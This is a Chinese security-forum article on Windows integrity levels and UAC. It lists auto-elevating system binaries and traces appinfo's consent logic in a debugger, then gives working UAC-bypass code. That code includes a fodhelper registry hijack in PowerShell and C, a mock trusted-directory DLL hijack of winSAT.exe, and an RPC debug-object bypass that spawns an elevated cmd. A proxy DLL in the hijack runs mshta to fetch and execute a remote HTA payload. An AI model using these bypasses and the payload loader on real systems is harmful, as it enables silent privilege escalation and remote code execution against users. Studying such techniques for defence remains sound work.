本文为看雪论坛优秀文章
看雪论坛作者ID:蝶澈——
SYSTEM
Administrators 用户组
Administrator
管理员账户
Users 用户组
标准账户
System(系统)
High(高)
Medium(中)
Low(低)
1、System 令牌是对系统完全操作的令牌,对应 SYSTEM,拥有的最高权限。提升的应用程序以 High 完整性级别运行,普通进程以 Medium 完整性级别运行,低权限进程以 Low 完整性级别运行。
2、在 Administrators 组中,Administrator 账户和普通管理员账户要分开说。普通管理员账户下,正常启动进程使用的是继承自 explorer.exe 的 Medium 访问令牌,当进程需要提升权限时,会弹出 UAC 提示框来启动一个子进程以获得 High 令牌。而 Administrator 账户下,正常启动的进程也都获得了 High 令牌。
3、Users 组的用户没有 High 和 System 令牌,如果要权限提升,需要输入管理员账号密码,而这时拿到的是这个管理员账号的 High 令牌。
strings.exe -s *.exe | findstr /i "autoElevate" //应该不全
C:\Windows\System32\BitLockerWizardElev.exe: <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>
C:\Windows\System32\bthudtask.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\changepk.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\cleanmgr.exe: <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>
C:\Windows\System32\ComputerDefaults.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\dccw.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\dcomcnfg.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\DeviceEject.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\DeviceProperties.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\dfrgui.exe: <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>
C:\Windows\System32\djoin.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\easinvoker.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\EASPolicyManagerBrokerHost.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\eudcedit.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\eventvwr.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\fodhelper.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\fsavailux.exe: <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>
C:\Windows\System32\fsquirt.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\FXSUNATD.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\immersivetpmvscmgrsvr.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\iscsicli.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\iscsicpl.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\lpksetup.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\MdSched.exe: <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>
C:\Windows\System32\MSchedExe.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\msconfig.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\msdt.exe: <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>
C:\Windows\System32\msra.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\MultiDigiMon.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\Netplwiz.exe: <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>
C:\Windows\System32\newdev.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\odbcad32.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\OptionalFeatures.exe: <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>
C:\Windows\System32\PasswordOnWakeSettingFlyout.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\perfmon.exe: <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>
C:\Windows\System32\printui.exe: <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>
C:\Windows\System32\rdpshell.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\recdisc.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\rrinstaller.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\rstrui.exe: <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>
C:\Windows\System32\sdclt.exe: <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>
C:\Windows\System32\shrpubw.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\slui.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\SndVol.exe: <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>
C:\Windows\System32\SystemPropertiesAdvanced.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\SystemPropertiesComputerName.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\SystemPropertiesDataExecutionPrevention.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\SystemPropertiesHardware.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\SystemPropertiesPerformance.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\SystemPropertiesProtection.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\SystemPropertiesRemote.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\systemreset.exe: <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>
C:\Windows\System32\SystemSettingsAdminFlows.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\SystemSettingsRemoveDevice.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\Taskmgr.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\tcmsetup.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\TpmInit.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\WindowsUpdateElevatedInstaller.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\WSReset.exe: <autoElevate>true</autoElevate>
C:\Windows\System32\wusa.exe: <autoElevate>true</autoElevate>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" manifestVersion="1.0">
<assemblyIdentity processorArchitecture="amd64" version="5.1.0.0" name="Microsoft.Windows.Diagnosis.AdvancedTaskManager" type="win32"></assemblyIdentity>
<description>Task Manager</description>
<dependency>
<dependentAssembly>
<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="amd64" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>
</dependentAssembly>
</dependency>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="highestAvailable"></requestedExecutionLevel>
</requestedPrivileges>
</security>
</trustInfo>
<asmv3:application>
<asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
<dpiAware>true</dpiAware>
<autoElevate>true</autoElevate>
</asmv3:windowsSettings>
</asmv3:application>
</assembly>
0:023> db 01e2`85b73730 l72c // O.r.i.g.i.
000001e2`85b73730 94 03 34 00 00 00 56 00-53 00 5f 00 56 00 45 00 ..4...V.S._.V.E.
000001e2`85b73740 52 00 53 00 49 00 4f 00-4e 00 5f 00 49 00 4e 00 R.S.I.O.N._.I.N.
000001e2`85b73750 46 00 4f 00 00 00 00 00-bd 04 ef fe 00 00 01 00 F.O.............
000001e2`85b73760 00 00 0a 00 ea 02 61 4a-00 00 0a 00 ea 02 61 4a ......aJ......aJ
000001e2`85b73770 3f 00 00 00 00 00 00 00-04 00 04 00 01 00 00 00 ?...............
000001e2`85b73780 00 00 00 00 00 00 00 00-00 00 00 00 f2 02 00 00 ................
000001e2`85b73790 01 00 53 00 74 00 72 00-69 00 6e 00 67 00 46 00 ..S.t.r.i.n.g.F.
000001e2`85b737a0 69 00 6c 00 65 00 49 00-6e 00 66 00 6f 00 00 00 i.l.e.I.n.f.o...
000001e2`85b737b0 ce 02 00 00 01 00 30 00-34 00 30 00 39 00 30 00 ......0.4.0.9.0.
000001e2`85b737c0 34 00 42 00 30 00 00 00-4c 00 16 00 01 00 43 00 4.B.0...L.....C.
000001e2`85b737d0 6f 00 6d 00 70 00 61 00-6e 00 79 00 4e 00 61 00 o.m.p.a.n.y.N.a.
000001e2`85b737e0 6d 00 65 00 00 00 00 00-4d 00 69 00 63 00 72 00 m.e.....M.i.c.r.
000001e2`85b737f0 6f 00 73 00 6f 00 66 00-74 00 20 00 43 00 6f 00 o.s.o.f.t. .C.o.
000001e2`85b73800 72 00 70 00 6f 00 72 00-61 00 74 00 69 00 6f 00 r.p.o.r.a.t.i.o.
000001e2`85b73810 6e 00 00 00 58 00 18 00-01 00 46 00 69 00 6c 00 n...X.....F.i.l.
000001e2`85b73820 65 00 44 00 65 00 73 00-63 00 72 00 69 00 70 00 e.D.e.s.c.r.i.p.
000001e2`85b73830 74 00 69 00 6f 00 6e 00-00 00 00 00 53 00 79 00 t.i.o.n.....S.y.
000001e2`85b73840 73 00 74 00 65 00 6d 00-20 00 50 00 72 00 65 00 s.t.e.m. .P.r.e.
000001e2`85b73850 70 00 61 00 72 00 61 00-74 00 69 00 6f 00 6e 00 p.a.r.a.t.i.o.n.
000001e2`85b73860 20 00 54 00 6f 00 6f 00-6c 00 00 00 6c 00 26 00 .T.o.o.l...l.&.
000001e2`85b73870 01 00 46 00 69 00 6c 00-65 00 56 00 65 00 72 00 ..F.i.l.e.V.e.r.
000001e2`85b73880 73 00 69 00 6f 00 6e 00-00 00 00 00 31 00 30 00 s.i.o.n.....1.0.
000001e2`85b73890 2e 00 30 00 2e 00 31 00-39 00 30 00 34 00 31 00 ..0...1.9.0.4.1.
000001e2`85b738a0 2e 00 37 00 34 00 36 00-20 00 28 00 57 00 69 00 ..7.4.6. .(.W.i.
000001e2`85b738b0 6e 00 42 00 75 00 69 00-6c 00 64 00 2e 00 31 00 n.B.u.i.l.d...1.
000001e2`85b738c0 36 00 30 00 31 00 30 00-31 00 2e 00 30 00 38 00 6.0.1.0.1...0.8.
000001e2`85b738d0 30 00 30 00 29 00 00 00-38 00 0c 00 01 00 49 00 0.0.)...8.....I.
000001e2`85b738e0 6e 00 74 00 65 00 72 00-6e 00 61 00 6c 00 4e 00 n.t.e.r.n.a.l.N.
000001e2`85b738f0 61 00 6d 00 65 00 00 00-73 00 79 00 73 00 70 00 a.m.e...s.y.s.p.
000001e2`85b73900 72 00 65 00 70 00 2e 00-45 00 58 00 45 00 00 00 r.e.p...E.X.E...
000001e2`85b73910 80 00 2e 00 01 00 4c 00-65 00 67 00 61 00 6c 00 ......L.e.g.a.l.
000001e2`85b73920 43 00 6f 00 70 00 79 00-72 00 69 00 67 00 68 00 C.o.p.y.r.i.g.h.
000001e2`85b73930 74 00 00 00 a9 00 20 00-4d 00 69 00 63 00 72 00 t..... .M.i.c.r.
000001e2`85b73940 6f 00 73 00 6f 00 66 00-74 00 20 00 43 00 6f 00 o.s.o.f.t. .C.o.
000001e2`85b73950 72 00 70 00 6f 00 72 00-61 00 74 00 69 00 6f 00 r.p.o.r.a.t.i.o.
000001e2`85b73960 6e 00 2e 00 20 00 41 00-6c 00 6c 00 20 00 72 00 n... .A.l.l. .r.
000001e2`85b73970 69 00 67 00 68 00 74 00-73 00 20 00 72 00 65 00 i.g.h.t.s. .r.e.
000001e2`85b73980 73 00 65 00 72 00 76 00-65 00 64 00 2e 00 00 00 s.e.r.v.e.d.....
000001e2`85b73990 40 00 0c 00 01 00 4f 00-72 00 69 00 67 00 69 00 @.....O.r.i.g.i.
000001e2`85b739a0 6e 00 61 00 6c 00 46 00-69 00 6c 00 65 00 6e 00 n.a.l.F.i.l.e.n.
000001e2`85b739b0 61 00 6d 00 65 00 00 00-73 00 79 00 73 00 70 00 a.m.e...s.y.s.p.
000001e2`85b739c0 72 00 65 00 70 00 2e 00-45 00 58 00 45 00 00 00 r.e.p...E.X.E...
000001e2`85b739d0 6a 00 25 00 01 00 50 00-72 00 6f 00 64 00 75 00 j.%...P.r.o.d.u.
000001e2`85b739e0 63 00 74 00 4e 00 61 00-6d 00 65 00 00 00 00 00 c.t.N.a.m.e.....
000001e2`85b739f0 4d 00 69 00 63 00 72 00-6f 00 73 00 6f 00 66 00 M.i.c.r.o.s.o.f.
000001e2`85b73a00 74 00 ae 00 20 00 57 00-69 00 6e 00 64 00 6f 00 t... .W.i.n.d.o.
000001e2`85b73a10 77 00 73 00 ae 00 20 00-4f 00 70 00 65 00 72 00 w.s... .O.p.e.r.
000001e2`85b73a20 61 00 74 00 69 00 6e 00-67 00 20 00 53 00 79 00 a.t.i.n.g. .S.y.
000001e2`85b73a30 73 00 74 00 65 00 6d 00-00 00 00 00 42 00 0f 00 s.t.e.m.....B...
000001e2`85b73a40 01 00 50 00 72 00 6f 00-64 00 75 00 63 00 74 00 ..P.r.o.d.u.c.t.
000001e2`85b73a50 56 00 65 00 72 00 73 00-69 00 6f 00 6e 00 00 00 V.e.r.s.i.o.n...
000001e2`85b73a60 31 00 30 00 2e 00 30 00-2e 00 31 00 39 00 30 00 1.0...0...1.9.0.
000001e2`85b73a70 34 00 31 00 2e 00 37 00-34 00 36 00 00 00 00 00 4.1...7.4.6.....
000001e2`85b73a80 44 00 00 00 01 00 56 00-61 00 72 00 46 00 69 00 D.....V.a.r.F.i.
000001e2`85b73a90 6c 00 65 00 49 00 6e 00-66 00 6f 00 00 00 00 00 l.e.I.n.f.o.....
000001e2`85b73aa0 24 00 04 00 00 00 54 00-72 00 61 00 6e 00 73 00 $.....T.r.a.n.s.
000001e2`85b73ab0 6c 00 61 00 74 00 69 00-6f 00 6e 00 00 00 00 00 l.a.t.i.o.n.....
000001e2`85b73ac0 09 04 b0 04 46 45 32 58-49 44 7c 30 30 31 2e 35 ....FE2XID|001.5
000001e2`85b73ad0 00 00 4e 61 6d 65 00 08-40 00 00 03 00 0c 00 00 [email protected]
000001e2`85b73ae0 00 00 00 00 00 41 00 00-00 0a 00 00 80 03 08 00 .....A..........
000001e2`85b73af0 00 00 f7 02 00 00 03 00-00 80 02 0b 00 00 00 ff ................
000001e2`85b73b00 ff 01 00 00 80 13 0b 00-00 00 ff ff ff 02 00 00 ................
000001e2`85b73b10 02 08 00 00 00 09 03 00-00 0f 03 00 00 02 08 20 ...............
000001e2`85b73b20 00 00 1f 03 00 00 00 73-74 72 69 6e 67 00 00 4f .......string..O
000001e2`85b73b30 76 65 72 72 69 64 65 00-00 4e 61 6d 65 00 00 4d verride..Name..M
000001e2`85b73b40 61 70 70 69 6e 67 53 74-72 69 6e 67 73 00 01 00 appingStrings...
000001e2`85b73b50 00 00 27 03 00 00 00 57-4d 49 00 00 50 65 61 6b ..'....WMI..Peak
000001e2`85b73b60 55 73 61 67 65 00 13 00-00 00 07 00 1c 00 00 00 Usage...........
000001e2`85b73b70 02 00 00 00 29 00 00 00-0a 00 00 80 03 08 00 00 ....)...........
000001e2`85b73b80 00 6e 03 00 00 03 00 00-80 02 0b 00 00 00 ff ff .n..............
000001e2`85b73b90 76 03 00 00 02 08 20 00-00 86 03 00 00 00 75 69 v..... .......ui
000001e2`85b73ba0 6e 74 33 32 00 00 4d 61-70 70 69 6e 67 53 74 72 nt32..MappingStr
000001e2`85b73bb0 69 6e 67 73 00 01 00 00-00 8e 03 00 00 00 57 4d ings..........WM
000001e2`85b73bc0 49 00 00 53 74 61 74 75-73 00 08 40 00 00 04 00 [email protected]
000001e2`85b73bd0 10 00 00 00 00 00 00 00-36 00 00 00 0a 00 00 80 ........6.......
000001e2`85b73be0 23 08 00 00 00 df 03 00-00 03 00 00 80 22 0b 00 #............"..
000001e2`85b73bf0 00 00 ff ff e7 03 00 00-22 03 00 00 00 0a 00 00 ........".......
000001e2`85b73c00 00 ef 03 00 00 22 08 20-00 00 f9 03 00 00 00 73 .....". .......s
000001e2`85b73c10 74 72 69 6e 67 00 00 4d-61 78 4c 65 6e 00 00 56 tring..MaxLen..V
000001e2`85b73c20 61 6c 75 65 4d 61 70 00-0c 00 00 00 2d 04 00 00 alueMap.....-...
000001e2`85b73c30 31 04 00 00 38 04 00 00-42 04 00 00 4b 04 00 00 1...8...B...K...
000001e2`85b73c40 56 04 00 00 60 04 00 00-6a 04 00 00 73 04 00 00 V...`...j...s...
000001e2`85b73c50 7d 04 00 00 89 04 00 00-95 04 00 00 00 4f 4b 00 }............OK.
000001e2`85b73c60 00 45 72 72 6f 72 00 00-44 65 67 72 61 64 65 64 .Error..Degraded
000001e2`85b73c70 00 00 55 6e 6b 6e 6f 77-6e 00 00 50 72 65 64 20 ..Unknown..Pred
000001e2`85b73c80 46 61 69 6c 00 00 53 74-61 72 74 69 6e 67 00 00 Fail..Starting..
000001e2`85b73c90 53 74 6f 70 70 69 6e 67-00 00 53 65 72 76 69 63 Stopping..Servic
000001e2`85b73ca0 65 00 00 53 74 72 65 73-73 65 64 00 00 4e 6f 6e e..Stressed..Non
000001e2`85b73cb0 52 65 63 6f 76 65 72 00-00 4e 6f 20 43 6f 6e 74 Recover..No Cont
000001e2`85b73cc0 61 63 74 00 00 4c 6f 73-74 20 43 6f 6d 6d 00 00 act..Lost Comm..
000001e2`85b73cd0 54 65 6d 70 50 61 67 65-46 69 6c 65 00 0b 00 00 TempPageFile....
000001e2`85b73ce0 00 08 00 20 00 00 00 02-00 00 00 29 00 00 00 0a ... .......)....
000001e2`85b73cf0 00 00 80 03 08 00 00 00-e5 04 00 00 03 00 00 80 ................
000001e2`85b73d00 02 0b 00 00 00 ff ff ee-04 00 00 02 08 20 00 00 ............. ..
000001e2`85b73d10 fe 04 00 00 00 62 6f 6f-6c 65 61 6e 00 00 4d 61 .....boolean..Ma
000001e2`85b73d20 70 70 69 6e 67 53 74 72-69 6e 67 73 00 01 00 00 ppingStrings....
000001e2`85b73d30 00 06 05 00 00 00 57 69-6e 33 32 52 65 67 69 73 ......Win32Regis
000001e2`85b73d40 74 72 79 7c 53 79 73 74-65 6d 5c 43 75 72 72 65 try|System\Curre
000001e2`85b73d50 6e 74 43 6f 6e 74 72 6f-6c 53 65 74 5c 43 6f 6e ntControlSet\Con
000001e2`85b73d60 74 72 6f 6c 5c 53 65 73-73 69 6f 6e 20 4d 61 6e trol\Session Man
000001e2`85b73d70 61 67 65 72 5c 4d 65 6d-6f 72 79 20 4d 61 6e 61 ager\Memory Mana
000001e2`85b73d80 67 65 6d 65 6e 74 7c 54-65 6d 70 50 61 67 65 46 gement|TempPageF
000001e2`85b73d90 69 6c 65 00 00 00 00 00-00 00 00 00 00 00 00 00 ile.............
000001e2`85b73da0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000001e2`85b73db0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000001e2`85b73dc0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000001e2`85b73dd0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000001e2`85b73de0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000001e2`85b73df0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000001e2`85b73e00 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000001e2`85b73e10 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000001e2`85b73e20 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000001e2`85b73e30 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000001e2`85b73e40 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
000001e2`85b73e50 00 00 00 00 00 00 00 00-00 00 00 00 ............
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="requireAdministrator" uiAccess="false"></requestedExecutionLevel>
</requestedPrivileges>
</security>
</trustInfo>
<asmv3:application>
<asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
<dpiAware>true</dpiAware>
<autoElevate>true</autoElevate>
</asmv3:windowsSettings>
</asmv3:application>
</assembly>
// 这里还有一个关键函数,可以定位到这里有问题,如果验证正常的话,Reply应该是返回 0 的,失败就会返回错误代码
Reply = AiCheckLUA(v155, (int *)&a4a, v148, v150, v80, (__int64)v79, (__int64)v192, v78, a11, (__int64 *)&v163);
//经过测试,AiLaunchConsentUI 和 AiCheckLUA 函数都返回了错误值 0x202b
appinfo!AiLaunchConsentUI+0x518:
00007ffc`9c3d78b8 e8e3d0ffff call appinfo!AiLaunchProcess (00007ffc`9c3d49a0)
0:021> gu
appinfo!AiCheckLUA+0x343:
00007ffc`9c3d7203 488b7c2468 mov rdi,qword ptr [rsp+68h] ss:000000e3`8a27e698=0000000000000000
0:021> gu
appinfo!RAiLaunchAdminProcess+0xbe2:
00007ffc`9c3d68a2 894584 mov dword ptr [rbp-7Ch],eax ss:000000e3`8a27e8b4=00000000
0:021> r rax
rax=000000000000202b
// 实际上在下面这段代码出现了错误,AiLaunchProcess 会调用 CreateProcessAsUserW 函数创建 consent 进程,但最终出现了错误
// AiLaunchConsentUI 函数
if ( !v9 )
{
ExitCode = AiLaunchProcess( 0i64, token, 0i64, 0x1000080u, 0i64, Dst, 0x400u, 0i64,
pszDesktop, 0i64, a5, 0i64, 0, 0i64, 0i64, 0i64,
(struct _PROCESS_INFORMATION *)hThread);// 0:035> dt _PROCESS_INFORMATION e3`8bcfe370
// Windows_Web!_PROCESS_INFORMATION
// +0x000 hProcess : 0x00000000`00001a3c Void
// +0x008 hThread : 0x00000000`00001420 Void
// +0x010 dwProcessId : 0x160c //pid 5644
// +0x014 dwThreadId : 0x12d0
v9 = ExitCode;
if ( !ExitCode )
{
ExitCode = AipVerifyConsent(hThread[0]); // 验证 consent 进程
v9 = ExitCode;
if ( !ExitCode )
{
ResumeThread(hThread[1]); // 恢复执行 consent
ExitCode = WaitForSingleObject(hThread[0], dwMilliseconds);// 等待
v9 = ExitCode;
if ( !ExitCode )
{
if ( !GetExitCodeProcess(hThread[0], &ExitCode) )// 这里取出错误代码
strings.exe -s *.exe | findstr /i "autoElevate"
......
C:\Windows\System32\fodhelper.exe: <autoElevate>true</autoElevate>
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
[String]$program = "cmd /c start cmd.exe"
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $program -Force
#include <windows.h>
#include <stdio.h>
int main(int argc, char* argv[]) {
PROCESS_INFORMATION pi = { 0 };
STARTUPINFOA si = { 0 };
HKEY hKey;
si.cb = sizeof(STARTUPINFO);
RegCreateKeyA(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings\\Shell\\open\\command", &hKey);
RegSetValueExA(hKey, "", 0, REG_SZ, (LPBYTE)"cmd /c start cmd.exe", strlen("cmd /c start cmd.exe"));
RegSetValueExA(hKey, "DelegateExecute", 0, REG_SZ, (LPBYTE)"", sizeof(""));
CreateProcessA("C:\\Windows\\System32\\cmd.exe", (LPSTR)"/c C:\\Windows\\System32\\fodhelper.exe", NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi);
Sleep(5000);
RegDeleteTreeA(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings");
return 0;
}
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdlib.h>
#include <Mmsystem.h>
extern "C" __declspec(dllexport) MMRESULT timeBeginPeriod(UINT);
extern "C" __declspec(dllexport) MMRESULT timeEndPeriod(UINT);
HMODULE hModule = NULL;
typedef MMRESULT(*FUNC)(UINT);
FUNC timeBeginPeriod_ori, timeEndPeriod_ori;
MMRESULT timeBeginPeriod(UINT uPeriod) {
FUNC timeBeginPeriod_ori;
if (hModule)
{
timeBeginPeriod_ori = (FUNC)GetProcAddress(hModule, "timeBeginPeriod");
if (timeBeginPeriod_ori) {
return timeBeginPeriod_ori(uPeriod);
}
}
}
MMRESULT timeEndPeriod(UINT uPeriod) {
FUNC timeEndPeriod_ori;
if (hModule)
{
timeEndPeriod_ori = (FUNC)GetProcAddress(hModule, "timeEndPeriod");
if (timeEndPeriod_ori) {
return timeEndPeriod(uPeriod);
}
}
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
STARTUPINFO StartupInfo;
PROCESS_INFORMATION ProcessInformation;
ZeroMemory(&StartupInfo, sizeof(StartupInfo));
ZeroMemory(&ProcessInformation, sizeof(ProcessInformation));
hModule = LoadLibraryEx(L"C:\\WINDOWS\\System32\\Winmm.dll", NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
system("mshta.exe http://192.168.140.158:8080/bs6tdkm9GWM8KN.hta");
ExitProcess(0);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
#include "stdafx.h"
#include <Windows.h>
#include "resource.h"
void DropResource(const wchar_t* rsrcName, const wchar_t* filePath) {
HMODULE hMod = GetModuleHandle(NULL);
HRSRC res = FindResource(hMod, MAKEINTRESOURCE(IDR_DATA1), rsrcName);
DWORD dllSize = SizeofResource(hMod, res);
void* dllBuff = LoadResource(hMod, res);
HANDLE hDll = CreateFile(filePath, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, NULL);
DWORD sizeOut;
WriteFile(hDll, dllBuff, dllSize, &sizeOut, NULL);
CloseHandle(hDll);
}
int main()
{
_SHELLEXECUTEINFOW se = {};
//Create Mock SystemRoot Directory
CreateDirectoryW(L"C:\\Windows \\", 0);
CreateDirectoryW(L"C:\\Windows \\System32", 0);
CopyFileW(L"C:\\Windows\\System32\\winSAT.exe", L"C:\\Windows \\System32\\winSAT.exe", false);
//Drop our dll for hijack
DropResource(L"DATA", L"C:\\Windows \\System32\\WINMM.dll");
//Execute our winSAT.exe copy from fake trusted directory
se.cbSize = sizeof(_SHELLEXECUTEINFOW);
se.lpFile = L"C:\\Windows \\System32\\winSAT.exe";
se.lpParameters = L"formal";
se.nShow = SW_HIDE;
se.hwnd = NULL;
se.lpDirectory = NULL;
ShellExecuteEx(&se);
return 0;
}
Install-Module -Name NtObjectManager -RequiredVersion 1.1.24 -Scope CurrentUser
$rpc = Get-RpcServer "c:\windows\system32\appinfo.dll" | Select-RpcServer -InterfaceId "201ef99a-7fa0-444c-9399-19ba84f12a1a"
//names.xml
<RpcServerNameData
xmlns="http://schemas.datacontract.org/2004/07/NtObjectManager">
<InterfaceId>201ef99a-7fa0-444c-9399-19ba84f12a1a</InterfaceId>
<InterfaceMajorVersion>1</InterfaceMajorVersion>
<InterfaceMinorVersion>0</InterfaceMinorVersion>
<Procedures>
<NdrProcedureNameData>
<Index>0</Index>
<Name>RAiLaunchAdminProcess</Name>
<Parameters>
<NdrProcedureParameterNameData>
<Index>10</Index>
<Name>ProcessInformation</Name>
</NdrProcedureParameterNameData>
</Parameters>
</NdrProcedureNameData>
</Procedures>
<Structures>
<NdrStructureNameData>
<Index>0</Index>
<Members/>
<Name>APP_STARTUP_INFO</Name>
</NdrStructureNameData>
<NdrStructureNameData>
<Index>2</Index>
<Members>
<NdrStructureMemberNameData>
<Index>0</Index>
<Name>ProcessHandle</Name>
</NdrStructureMemberNameData>
</Members>
<Name>APP_PROCESS_INFORMATION</Name>
</NdrStructureNameData>
</Structures>
</RpcServerNameData>
Get-Content "names.xml" | Set-RpcServerName $rpc
$client = Get-RpcClient $rpc
Connect-RpcClient $client
function Start-Uac {
Param(
[Parameter(Mandatory, Position = 0)]
[string]$Executable,
[switch]$RunAsAdmin
)
$CreateFlags = [NtApiDotNet.Win32.CreateProcessFlags]::DebugProcess -bor `
[NtApiDotNet.Win32.CreateProcessFlags]::UnicodeEnvironment
$StartInfo = $client.New.APP_STARTUP_INFO()
$result = $client.RAiLaunchAdminProcess($Executable, $Executable,`
[int]$RunAsAdmin.IsPresent, [int]$CreateFlags,`
"C:\", "WinSta0\Default", $StartInfo, 0, -1)
if ($result.retval -ne 0) {
$ex = [System.ComponentModel.Win32Exception]::new($result.retval)
throw $ex
}
$h = $result.ProcessInformation.ProcessHandle.Value
Get-NtObjectFromHandle $h -OwnsHandle
}
$p = Start-Uac "c:\windows\system32\notepad.exe"
$dbg = Get-NtDebug -Process $p
Stop-NtProcess $p
Remove-NtDebugProcess $dbg -Process $p
$p = Start-Uac "c:\windows\system32\taskmgr.exe" -RunAsAdmin
$ev = Start-NtDebugWait -Seconds 0 -DebugObject $dbg
$h = [IntPtr]-1
$new_p = Copy-NtObject -SourceProcess $ev.Process -SourceHandle $h
Remove-NtDebugProcess $dbg -Process $new_p
New-Win32Process "cmd.exe" -ParentProcess $new_p -CreationFlags NewConsole
long RAiLaunchAdminProcess(
handle_t hBinding,
[in][unique][string] wchar_t* ExecutablePath,
[in][unique][string] wchar_t* CommandLine,
[in] long StartFlags,
[in] long CreateFlags,
[in][string] wchar_t* CurrentDirectory,
[in][string] wchar_t* WindowStation,
[in] struct APP_STARTUP_INFO* StartupInfo,
[in] unsigned __int3264 hWnd,
[in] long Timeout,
[out] struct APP_PROCESS_INFORMATION* ProcessInformation,
[out] long *ElevationType
);
